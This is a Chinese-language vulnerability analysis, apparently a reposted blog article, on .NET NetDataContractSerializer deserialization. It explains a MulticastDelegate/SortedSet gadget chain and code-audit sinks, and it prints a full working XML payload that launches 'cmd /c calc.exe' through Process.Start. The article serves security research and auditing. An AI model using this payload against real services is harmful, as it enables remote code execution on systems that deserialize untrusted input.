首页  >  文章  >  运维  >  如何进行NetDataContractSerializer反序列化漏洞分析

如何进行NetDataContractSerializer反序列化漏洞分析

PHPz
PHPz转载
2023-05-13 21:37:04815浏览

一、前言

NetDataContractSerializer和DataContractSerializer一样用于序列化和反序列化Windows Communication Foundation (WCF) 消息中发送的数据。两者之间存在一个重要区别:NetDataContractSerializer 包含了CLR,通过CLR类型添加额外信息并保存引用来支持类型精确,而DataContractSerializer 则不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 类型时,才能使用 NetDataContractSerializer。若要序列化对象使用 WriteObject或者Serialize方法, 若要反序列化 XML流使用 ReadObject或者Deserialize方法。在某些场景下读取了恶意的XML流就会造成反序列化漏洞,从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

二、NetDataContractSerializer序列化

使用WriteObject或者Serialize可以非常方便的实现.NET对象与XML数据之间的转化,注意NetDataContractSerializer包含了程序集的名字和被序列化类型的类型。这些额外信息可以用来将XML反序列化成特殊类型,允许相同类型可以在客户端和服务端同时使用。另外的信息是z:Id属性在不同的元素上意义是不同的。这个用来处理引用类型以及当XML被反序列化时是否引用可以保留,最后的结论是这个输出相比DataContractSerializer的输出包含了更多信息。下面通过一个实例来说明问题,首先定义TestClass对象

如何进行NetDataContractSerializer反序列化漏洞分析

TestClass对象定义了三个成员,并实现了一个静态方法ClassMethod启动进程。序列化通过创建对象实例分别给成员赋值    

如何进行NetDataContractSerializer反序列化漏洞分析

笔者使用Serialize得到序列化TestClass类后的xml数据

<TestClass z:Id="1" z:Type="WpfApp1.TestClass" z:Assembly="WpfApp1,Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><age>18</age><classname z:Id="2">360</classname><name z:Id="3">Ivan1ee</name></TestClass>

三、NetDataContractSerializer反序列

3.1 反序列化原理和用法

NetDataContractSerializer类反序列过程是将XML流转换为对象,通过创建一个新对象的方式调用ReadObject多个重载方法或Serialize方法实现的,查看定义得知继承自XmlObjectSerializer抽象类、IFormatter接口,

如何进行NetDataContractSerializer反序列化漏洞分析

NetDataContractSerializer类实现了XmlObjectSerializer抽象类中的WriteObject、ReadObject方法,也实现了IFormatter中定义的方法。笔者通过创建新对象的方式调用Deserialize方法实现的具体实现代码可参考以下

如何进行NetDataContractSerializer反序列化漏洞分析

其实在Deserialize方法内也是调用了ReadObject方法反序列化的

如何进行NetDataContractSerializer反序列化漏洞分析

反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法,省略一些非核心代码,进入InternalReadObject方法体内反序列化后得到对象的属性,打印输出成员Name的值。

如何进行NetDataContractSerializer反序列化漏洞分析

3.2 攻击向量—MulticastDelegate

多路广播委托(MulticastDelegate)继承自 Delegate,其调用列表中可以拥有多个元素的委托,实际上所有委托类型都派生自MulticastDelegate。MulticastDelegate类的_invocationList字段在构造委托链时会引用委托数组,但为了取得对委托链更多的控制就得使用GetInvocationList方法,它是具有一个带有链接的委托列表,在对委托实例进行调用的时候,将按列表中的委托顺序进行同步调用,那么如何将calc.exe添加到GetInvocationList列表方法?首先先看Comparison类,它用于位于命令空间System.Collections.Generic,定义如下

如何进行NetDataContractSerializer反序列化漏洞分析

Comparison类返回委托,再使用Delegate或者MulticastDelegate类的公共静态方法Combine将委托添加到链中作为Comparison的类型比较器    

如何进行NetDataContractSerializer反序列化漏洞分析使用Comparer的静态方法Create创建比较器,比较器对象在.NET集合类中使用的频率较多,也具备了定制的反序列化功能,这里选择SortedSet类,在反序列化的时内部Comparer对象重构了集合的排序。    

如何进行NetDataContractSerializer反序列化漏洞分析多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。    

如何进行NetDataContractSerializer反序列化漏洞分析最后传入攻击载荷后得到完整序列化后的poc,如下    

如何进行NetDataContractSerializer反序列化漏洞分析

四、代码审计

4.1 Deserialize

从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:

如何进行NetDataContractSerializer反序列化漏洞分析

4.2 ReadObject

如何进行NetDataContractSerializer反序列化漏洞分析上面两种方式都是很常见的,需要重点关注。

五、复盘

1.  代码中实现读取本地文件内容    

如何进行NetDataContractSerializer反序列化漏洞分析2.  传递poc xml,弹出计算器网页返回200

1.  <ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly="System,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/" ><Count z:Id ="2" z:Type ="System.Int32" z:Assembly ="0" xmlns="">2</Count ><Comparer z:Id ="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns="" ><_comparison z:Id ="4" z:FactoryType ="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly ="0" xmlns= "http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a ="http://schemas.datacontract.org/2004/07/System" ><Delegate z:Id= "5" z:Type= "System.DelegateSerializationHolder+DelegateEntry" z:Assembly = "0"xmlns= "" ><a:assembly z:Id="6" >mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly ><a:delegateEntry z:Id="7" ><a:assemblyz:Ref="6" i:nil= "true"/>< a:delegateEntry i:nil="true" /><a:methodName z:Id ="8" >Compare</a:methodName ><a:target i:nil ="true" />< a:targetTypeAssembly z:Ref ="6" i:nil ="true" /><a:targetTypeName z:Id ="9" >System.String</ a:targetTypeName >< a:type z:Id = "10">System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]</ a:type ></ a:delegateEntry >< a:methodName z:Id = "11" >Start</ a:methodName >< a:target i:nil = "true" />< a:targetTypeAssembly z:Id = "12" >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly >< a:targetTypeName z:Id = "13" >System.Diagnostics.Process</ a:targetTypeName >< a:type z:Id = "14" >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]</ a:type ></ Delegate >< method0 z:Id = "15" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "11" i:nil = "true" />< AssemblyName z:Ref = "12" i:nil = "true" />< ClassName z:Ref = "13" i:nil = "true" />< Signature z:Id = "16" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.Process Start(System.String,System.String)</ Signature >< Signature2 z:Id = "17" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.ProcessStart(System.String, System.String)</ Signature2 >< MemberType z:Id = "18" z:Type = "System.Int32" z:Assembly = "0" >8</ MemberType ><GenericArguments i:nil = "true" /></ method0 >< method1 z:Id = "19" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = " http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "8" i:nil = "true" />< AssemblyName z:Ref = "6" i:nil = "true" />< ClassName z:Ref = "9"                                                                                i:nil = "true" />< Signature z:Id = "20" z:Type = "System.String" z:Assembly = "0" >Int32 Compare(System.String, System.String)</ Signature >< Signature2 z:Id = "21" z:Type = "System.String" z:Assembly = "0" >System.Int32 Compare(System.String,System.String)</Signature2 >< MemberType z:Id = "22" z:Type = "System.Int32" z:Assembly = "0" >8</ MemberType >< GenericArguments i:nil = "true" /></ method1 ></ _comparison ></ Comparer >< Version z:Id = "23" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2</ Version >< Items z:Id = "24" z:Type = "System.String[]" z:Assembly = "0" z:Size = "2" xmlns = "" >< string z:Id = "25" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >/c calc.exe</ string >< string z:Id = "26" xmlns = " http://schemas.microsoft.com/2003/10/Serialization/Arrays" >cmd</ string ></ Items ></ ArrayOfstring >

最后附上动态效果图

如何进行NetDataContractSerializer反序列化漏洞分析

以上是如何进行NetDataContractSerializer反序列化漏洞分析的详细内容。更多信息请关注PHP中文网其他相关文章!

声明:
本文转载于:yisu.com。如有侵权,请联系admin@php.cn删除